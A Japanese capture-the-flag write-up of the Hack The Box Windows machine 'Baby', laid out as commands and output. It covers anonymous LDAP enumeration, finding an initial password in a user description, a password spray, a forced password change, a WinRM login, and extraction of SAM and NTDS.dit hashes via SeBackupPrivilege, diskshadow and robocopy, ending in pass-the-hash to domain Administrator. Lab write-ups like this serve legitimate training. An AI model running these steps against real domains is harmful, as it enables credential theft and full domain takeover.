はじめに
この記事は、Hack The BoxのWindowsマシン「Baby」を攻略した際の手順を、再現しやすい形で整理したものです。
今回の流れは次の通りです。
- LDAP匿名列挙でユーザー情報を収集
- 初期パスワード候補の発見
-
PASSWORD_MUST_CHANGE状態ユーザーのパスワード変更 - WinRMで侵入
-
SeBackupPrivilegeを利用してNTDS.ditを取得し、Domain Admin権限へ到達
ポートスキャニング
nmapの結果
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-05 13:41:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
スクリプトでLDAPの情報を確認します。
$ nmap -p 389 --script ldap-rootdse 10.129.234.71
...SNIP...
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
...SNIP...
| dnsHostName: BabyDC.baby.vl
| defaultNamingContext: DC=baby,DC=vl
...SNIP...
dnsHostNameからホスト名が、BabyDC.baby.vl
defaultNamingContext からドメインが baby.vl
と分かるため、/etc/hosts に登録します。
$ echo "10.129.234.71 baby.htb baby.vl BabyDC.baby.vl" | sudo tee -a /etc/hosts
LDAP列挙
匿名アクセスでsAMAccountName を列挙して、有効なログイン名候補を集めます。
$ ldapsearch -x -H ldap://BabyDC.baby.vl -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName
この時点で以下のようなユーザーを取得できました。
Jacqueline.BarnettAshley.WebbHugh.GeorgeLeonard.DyerConnor.WilkinsonJoseph.HughesKerry.WilsonTeresa.Bell
次に、description 属性を確認します。AD環境では運用メモが残っていることがあり、初期パスワードのヒントになる場合があります。
$ ldapsearch -x -H ldap://baby.htb -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName description 2>&1
...SNIP...
dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
description: Set initial password to BabyStart123!
sAMAccountName: Teresa.Bell
...SNIP...
ここで初期パスワード候補 BabyStart123! を発見しました。
パスワードスプレーと追加ユーザー発見
まずはユーザー一覧を作成します。
$ ldapsearch -x -H ldap://BabyDC.baby.vl -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName | grep sAMAccountName: | awk '{print $2}' > users.txt
この状態でスプレーしてもヒットしませんでした。
$ nxc ldap baby.vl -u users.txt -p 'BabyStart123!'
...SNIP...
[-] baby.vl\Teresa.Bell:BabyStart123!
そこで、objectClass=user に絞らず全オブジェクトを列挙し直します。
あらたにCaroline.Robinsonが見つかりました!
$ ldapsearch -x -H ldap://BabyDC.baby.vl -b "DC=baby,DC=vl" "*" cn | grep dn:
...SNIP...
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl
見落としていた Caroline.Robinson を users.txt に追加して再実行すると、次の結果が得られました。
$ nxc ldap baby.vl -u users.txt -p 'BabyStart123!'
...SNIP...
[-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
...SNIP...
PASSWORD_MUST_CHANGE の対応
PASSWORD_MUST_CHANGE 状態では、WinRMなど通常ログイン系プロトコルが失敗するため、まずパスワード変更を行います。
$ smbpasswd -U BABY/caroline.robinson -r baby.htb
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user caroline.robinson
新しいパスワードを Password1234! に設定後、WinRMログインに成功しました。
$ evil-winrm -i baby.vl -u caroline.robinson -p Password1234!
...SNIP...
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>
侵入後の権限確認
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeBackupPrivilege と SeRestorePrivilege が有効なので、バックアップ経由で機密ファイル取得を狙います。
ローカルSAMの取得
まずはレジストリハイブを保存して、ローカルアカウントのハッシュを確認します。
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save hklm\sam .\sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save hklm\system .\system
The operation completed successfully.
$ impacket-secretsdump -sam sam -system system LOCAL
...SNIP...
Administrator:500:...:8d992faed38128ae85e95fa35868bb43:::
ただし、このローカルSAM由来の Administrator ハッシュではWinRM認証できませんでした。
$ evil-winrm -i baby.vl -u administrator -H 8d992faed38128ae85e95fa35868bb43
...SNIP...
WinRM::WinRMAuthorizationError
次にドメイン認証情報を取得するため、NTDS.dit の抽出に進みます。
NTDS.dit 抽出
diskshadow 用スクリプトを作成して、Cドライブのシャドウコピーを公開します。
backup.txt
set verbose on
set metadata C:\Windows\Temp\test.cab
set context persistent
add volume C: alias cdrive
create
expose %cdrive% E:
改行コードをDOS形式に変換し、アップロードして実行します。
$ unix2dos backup.txt
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> upload backup.txt
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> diskshadow /s .\backup.txt
...SNIP...
The shadow copy was successfully exposed as E:\.
続いて、バックアップモードで ntds.dit をコピーします。
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> robocopy /b E:\Windows\ntds . ntds.dit
...SNIP...
Files : 1 1 0 0 0 0
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> download ntds.dit
ドメインハッシュの抽出と管理者ログイン
手元で system と ntds.dit を使ってドメイン資格情報を抽出します。
$ impacket-secretsdump -system system -ntds ntds.dit LOCAL
...SNIP...
Administrator:500:...:ee4457ae59f1e3fbd764e33d9cef123d:::
...SNIP...
抽出したドメイン Administrator ハッシュで再度ログインすると、管理者権限を取得できました。
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
baby\administrator
まとめ
今回の攻略ポイントは次の3点です。
- LDAP列挙時はフィルタを固定せず、全オブジェクト列挙も併用して取りこぼしを減らす
-
STATUS_PASSWORD_MUST_CHANGEはsmbpasswdなどパスワード変更可能な経路で突破する -
SeBackupPrivilegeが有効な場合、diskshadow + robocopy /bによるNTDS.dit抽出が有効
AD環境では「初期パスワード運用」と「バックアップ権限の過剰付与」が重なると、一気にドメイン管理者到達までつながることを再確認できるマシンでした。
